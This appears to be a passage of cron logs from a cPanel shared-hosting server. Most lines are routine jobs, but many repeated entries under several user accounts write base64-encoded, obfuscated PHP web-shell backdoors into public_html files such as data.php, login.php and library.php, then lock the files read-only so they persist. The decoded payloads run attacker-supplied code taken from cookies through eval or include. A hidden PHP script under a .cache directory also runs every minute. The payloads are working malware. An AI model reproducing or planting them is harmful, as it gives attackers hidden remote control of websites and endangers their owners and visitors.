"/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 08:32:02 medusa CROND[16492]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  2 08:32:02 medusa CROND[16496]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 08:32:02 medusa CROND[16499]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  2 08:32:02 medusa CROND[16503]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  2 08:32:02 medusa CROND[16504]: (revistaenergiaco) CMD (/user/bin/curl -s 'https://news.revistaenergia.com.ar/lists/admin/?page=processqueue&secret=9f656b23bf56b9ba2362)
Mar  2 08:33:01 medusa CROND[3091]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  2 08:33:01 medusa CROND[3094]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_processpaneluser.cronlock /usr/sbin/processpaneluserspackages)
Mar  2 08:33:01 medusa CROND[3095]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 08:33:01 medusa CROND[3097]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  2 08:33:01 medusa CROND[3098]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  2 08:33:01 medusa CROND[3099]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  2 08:33:01 medusa CROND[3100]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 08:33:01 medusa CROND[3102]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  2 08:33:01 medusa CROND[3106]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 08:33:01 medusa CROND[3116]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 08:33:01 medusa CROND[3117]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  2 08:33:01 medusa CROND[3118]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  2 08:34:01 medusa CROND[23303]: (root) CMD (/usr/bin/flock -n /var/run/python_cllib_detector_cronlock /usr/share/python-cllib/detector.py)
Mar  2 08:34:01 medusa CROND[23315]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  2 08:34:01 medusa CROND[23548]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  2 08:34:01 medusa CROND[23549]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  2 08:34:01 medusa CROND[23550]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  2 08:34:01 medusa CROND[23551]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  2 08:34:01 medusa CROND[23555]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  2 08:34:01 medusa CROND[23556]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 08:34:01 medusa CROND[23557]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 08:34:01 medusa CROND[23560]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 08:34:01 medusa CROND[23569]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  2 08:34:01 medusa CROND[23571]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCR